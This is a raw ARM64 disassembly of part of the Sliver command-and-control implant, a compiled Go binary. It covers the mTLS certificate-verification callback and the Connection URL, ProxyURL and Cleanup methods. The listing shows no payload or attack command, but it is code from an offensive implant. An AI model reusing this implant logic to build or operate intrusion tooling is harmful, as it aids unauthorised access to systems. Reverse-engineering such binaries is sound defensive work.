    003dee74b 0x3dee98
    003dee78
    003dee78loc_3dee78:
    003dee78str x0, [sp+632]
    003dee7cmov x1, x0
    003dee80add x2, sp, 200
    003dee84adrp x0, 0x2a0000
    003dee88add x0, x0, 2592
    003dee8cbl runtime.wbMove
    003dee90ldr x0, [sp+632]
    003dee94b 0x3dee98
    003dee98
    003dee98loc_3dee98:
    003dee98mov x21, x0
    003dee9cadd x20, sp, 200
    003deea0adr x27, 16
    003deea4stp x29, x27, [sp-24]
    003deea8sub x29, sp, 24
    003deeacbl fn_87ee8
    003deeb0sub x29, sp, 8
    003deeb4ldr x1, [sp+312]
    003deeb8str x1, [x0+112]
    003deebcldr x1, [sp+776]
    003deec0ldrsb x27, [x1]
    003deec4b 0x3deec8
    003deec8
    003deec8loc_3deec8:
    003deec8str x1, [sp+784]
    003deeccorr x2, xzr, 1
    003deed0str x2, [sp+792]
    003deed4str x2, [sp+800]
    003deed8ldr x3, [sp+808]
    003deedcldrsb x27, [x3]
    003deee0str x2, [x3+32]
    003deee4str x2, [x3+40]
    003deee8adrp x27, 0x66d000
    003deeecldr w2, [x27+3056]
    003deef0cbz w2, 0x3deef8
    003deef4b 0x3deefc
    003deef8
    003deef8loc_3deef8:
    003deef8b 0x3def10
    003deefc
    003deefcloc_3deefc:
    003deefcbl runtime.gcWriteBarrier2
    003def00str x1, [x25]
    003def04ldr x2, [x3+24]
    003def08str x2, [x25+8]
    003def0cb 0x3def10
    003def10
    003def10loc_3def10:
    003def10str x1, [x3+24]
    003def14ldr x1, [sp+808]
    003def18ldrsb x27, [x1]
    003def1cldr x2, [sp+320]
    003def20adrp x27, 0x66d000
    003def24ldr w3, [x27+3056]
    003def28cbz w3, 0x3def30
    003def2cb 0x3def34
    003def30
    003def30loc_3def30:
    003def30b 0x3def48
    003def34
    003def34loc_3def34:
    003def34bl runtime.gcWriteBarrier2
    003def38str x2, [x25]
    003def3cldr x3, [x1+96]
    003def40str x3, [x25+8]
    003def44b 0x3def48
    003def48
    003def48loc_3def48:
    003def48str x2, [x1+96]
    003def4cldr x1, [sp+808]
    003def50ldrsb x27, [x1]
    003def54orr x2, xzr, 1
    003def58strb w2, [x1+160]
    003def5cldr x1, [sp+808]
    003def60ldrsb x27, [x1]
    003def64adrp x27, 0x66d000
    003def68ldr w2, [x27+3056]
    003def6ccbz w2, 0x3def74
    003def70b 0x3def78
    003def74
    003def74loc_3def74:
    003def74b 0x3def88
    003def78
    003def78loc_3def78:
    003def78ldr x2, [x1+80]
    003def7cbl runtime.gcWriteBarrier1
    003def80str x2, [x25]
    003def84b 0x3def88
    003def88
    003def88loc_3def88:
    003def88adrp x2, 0x2fb000
    003def8cadd x2, x2, 320
    003def90str x2, [x1+80]
    003def94ldr x1, [sp+808]
    003def98str x1, [sp+176]
    003def9cadrp x27, 0x642000
    003defa0ldr x2, [x27+3584]
    003defa4cbnz x2, 0x3defac
    003defa8b 0x3deff4
    003defac
    003defacloc_3defac:
    003defacldrsb x27, [x1]
    003defb0adrp x27, 0x642000
    003defb4ldr x2, [x27+3584]
    003defb8adrp x3, 0x335000
    003defbcadd x3, x3, 2168
    003defc0str x3, [x1+312]
    003defc4adrp x27, 0x66d000
    003defc8ldr w3, [x27+3056]
    003defcccbz w3, 0x3defd4
    003defd0b 0x3defd8
    003defd4
    003defd4loc_3defd4:
    003defd4b 0x3defec
    003defd8
    003defd8loc_3defd8:
    003defd8bl runtime.gcWriteBarrier2
    003defdcstr x2, [x25]
    003defe0ldr x3, [x1+320]
    003defe4str x3, [x25+8]
    003defe8b 0x3defec
    003defec
    003defecloc_3defec:
    003defecstr x2, [x1+320]
    003deff0b 0x3deff8
    003deff4
    003deff4loc_3deff4:
    003deff4b 0x3deff8
    003deff8
    003deff8loc_3deff8:
    003deff8ldr x0, [sp+176]
    003deffcstr x0, [sp+168]
    003df000ldp x29, x30, [sp-8]
    003df004add sp, sp, 912
    003df008ret x30
    003df00c
    003df00cloc_3df00c:
    003df00cmov x3, x30
    003df010bl runtime.morestack_noctxt.abi0
    003df014b 0x3deb50
    003df018udf 0
    003df01cudf 0
    003deb50
    003df020
    003df020github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig.func1: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig.func1(struct [][]uint8 rawCerts, struct [][]*crypto/x509.Certificate verifiedChains)
    003df020ldr x16, [x28+16]
    003df024subs xzr, sp, x16
    003df028b.ls 0x3df09c
    003df02cstr x30, [sp-112]!
    003df030stur x29, [sp-8]
    003df034sub x29, sp, 8
    003df038str x0, [sp+120]
    003df03cstr x1, [sp+128]
    003df040str x2, [sp+136]
    003df044str x3, [sp+144]
    003df048str x4, [sp+152]
    003df04cstr x5, [sp+160]
    003df050stp xzr, xzr, [sp+72]
    003df054adrp x27, 0x62e000
    003df058ldr x0, [x27+2960]
    003df05cldr x2, [sp+120]
    003df060ldr x5, [sp+144]
    003df064adrp x27, 0x62e000
    003df068ldr x1, [x27+2968]
    003df06cldr x3, [sp+128]
    003df070ldr x6, [sp+152]
    003df074ldr x4, [sp+136]
    003df078ldr x7, [sp+160]
    003df07cbl github.com/bishopfox/sliver/implant/sliver/cryptography.RootOnlyVerifyCertificate
    003df080str x0, [sp+88]
    003df084str x1, [sp+96]
    003df088str x0, [sp+72]
    003df08cstr x1, [sp+80]
    003df090ldur x29, [sp-8]
    003df094ldr x30, [sp], 112
    003df098ret x30
    003df09c
    003df09cloc_3df09c:
    003df09cstp x0, x1, [sp+8]
    003df0a0stp x2, x3, [sp+24]
    003df0a4stp x4, x5, [sp+40]
    003df0a8mov x3, x30
    003df0acbl runtime.morestack_noctxt.abi0
    003df0b0ldp x0, x1, [sp+8]
    003df0b4ldp x2, x3, [sp+24]
    003df0b8ldp x4, x5, [sp+40]
    003df0bcb 0x3df020
    003df020
    003df0c0
    003df0c0github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).URL: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).URL(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
    003df0c0ldr x16, [x28+16]
    003df0c4subs xzr, sp, x16
    003df0c8b.ls 0x3df13c
    003df0ccstr x30, [sp-64]!
    003df0d0stur x29, [sp-8]
    003df0d4sub x29, sp, 8
    003df0d8str x0, [sp+72]
    003df0dcstp xzr, xzr, [sp+16]
    003df0e0ldr x2, [sp+72]
    003df0e4ldrsb x27, [x2]
    003df0e8ldr x2, [x2+64]
    003df0eccbnz x2, 0x3df0f4
    003df0f0b 0x3df124
    003df0f4
    003df0f4loc_3df0f4:
    003df0f4ldr x1, [sp+72]
    003df0f8ldrsb x27, [x1]
    003df0fcldr x0, [x1+64]
    003df100str x0, [sp+32]
    003df104bl net/url.(*URL).String
    003df108str x0, [sp+40]
    003df10cstr x1, [sp+48]
    003df110str x0, [sp+16]
    003df114str x1, [sp+24]
    003df118ldur x29, [sp-8]
    003df11cldr x30, [sp], 64
    003df120ret x30
    003df124
    003df124loc_3df124:
    003df124stp xzr, xzr, [sp+16]
    003df128mov x0, xzr
    003df12cmov x1, xzr
    003df130ldur x29, [sp-8]
    003df134ldr x30, [sp], 64
    003df138ret x30
    003df13c
    003df13cloc_3df13c:
    003df13cstr x0, [sp+8]
    003df140mov x3, x30
    003df144bl runtime.morestack_noctxt.abi0
    003df148ldr x0, [sp+8]
    003df14cb 0x3df0c0
    003df0c0
    003df150
    003df150github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).ProxyURL: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).ProxyURL(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
    003df150ldr x16, [x28+16]
    003df154subs xzr, sp, x16
    003df158b.ls 0x3df1cc
    003df15cstr x30, [sp-64]!
    003df160stur x29, [sp-8]
    003df164sub x29, sp, 8
    003df168str x0, [sp+72]
    003df16cstp xzr, xzr, [sp+16]
    003df170ldr x2, [sp+72]
    003df174ldrsb x27, [x2]
    003df178ldr x2, [x2+72]
    003df17ccbnz x2, 0x3df184
    003df180b 0x3df1b4
    003df184
    003df184loc_3df184:
    003df184ldr x1, [sp+72]
    003df188ldrsb x27, [x1]
    003df18cldr x0, [x1+72]
    003df190str x0, [sp+32]
    003df194bl net/url.(*URL).String
    003df198str x0, [sp+40]
    003df19cstr x1, [sp+48]
    003df1a0str x0, [sp+16]
    003df1a4str x1, [sp+24]
    003df1a8ldur x29, [sp-8]
    003df1acldr x30, [sp], 64
    003df1b0ret x30
    003df1b4
    003df1b4loc_3df1b4:
    003df1b4stp xzr, xzr, [sp+16]
    003df1b8mov x0, xzr
    003df1bcmov x1, xzr
    003df1c0ldur x29, [sp-8]
    003df1c4ldr x30, [sp], 64
    003df1c8ret x30
    003df1cc
    003df1ccloc_3df1cc:
    003df1ccstr x0, [sp+8]
    003df1d0mov x3, x30
    003df1d4bl runtime.morestack_noctxt.abi0
    003df1d8ldr x0, [sp+8]
    003df1dcb 0x3df150
    003df150
    003df1e0
    003df1e0github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
    003df1e0ldr x16, [x28+16]
    003df1e4subs xzr, sp, x16
    003df1e8b.ls 0x3df270
    003df1ecstr x30, [sp-64]!
    003df1f0stur x29, [sp-8]
    003df1f4sub x29, sp, 8
    003df1f8str x0, [sp+72]
    003df1fcstp xzr, xzr, [sp+40]
    003df200add x2, sp, 40
    003df204str x2, [sp+32]
    003df208ldrsb x27, [x2]
    003df20cadrp x3, 0
    003df210add x3, x3, 656
    003df214str x3, [x2]
    003df218ldrsb x27, [x2]
    003df21cldr x3, [sp+72]
    003df220adrp x27, 0x66c000
    003df224ldr w4, [x27+3056]
    003df228cbz w4, 0x3df230
    003df22cb 0x3df234
    003df230
    003df230loc_3df230:
    003df230b 0x3df248
    003df234
    003df234loc_3df234:
    003df234bl runtime.gcWriteBarrier2
    003df238str x3, [x25]
    003df23cldr x4, [x2+8]
    003df240str x4, [x25+8]
    003df244b 0x3df248
    003df248
    003df248loc_3df248:
    003df248str x3, [x2+8]
    003df24cldr x2, [sp+72]
    003df250ldrsb x27, [x2]
    003df254ldr x0, [x2+40]
    003df258str x0, [sp+24]
    003df25cldr x1, [sp+32]
    003df260bl sync.(*Once).Do
    003df264ldur x29, [sp-8]
    003df268ldr x30, [sp], 64
    003df26cret x30
    003df270
    003df270loc_3df270:
    003df270str x0, [sp+8]
    003df274mov x3, x30
    003df278bl runtime.morestack_noctxt.abi0
    003df27cldr x0, [sp+8]
    003df280b 0x3df1e0
    003df284udf 0
    003df288udf 0
    003df28cudf 0
    003df1e0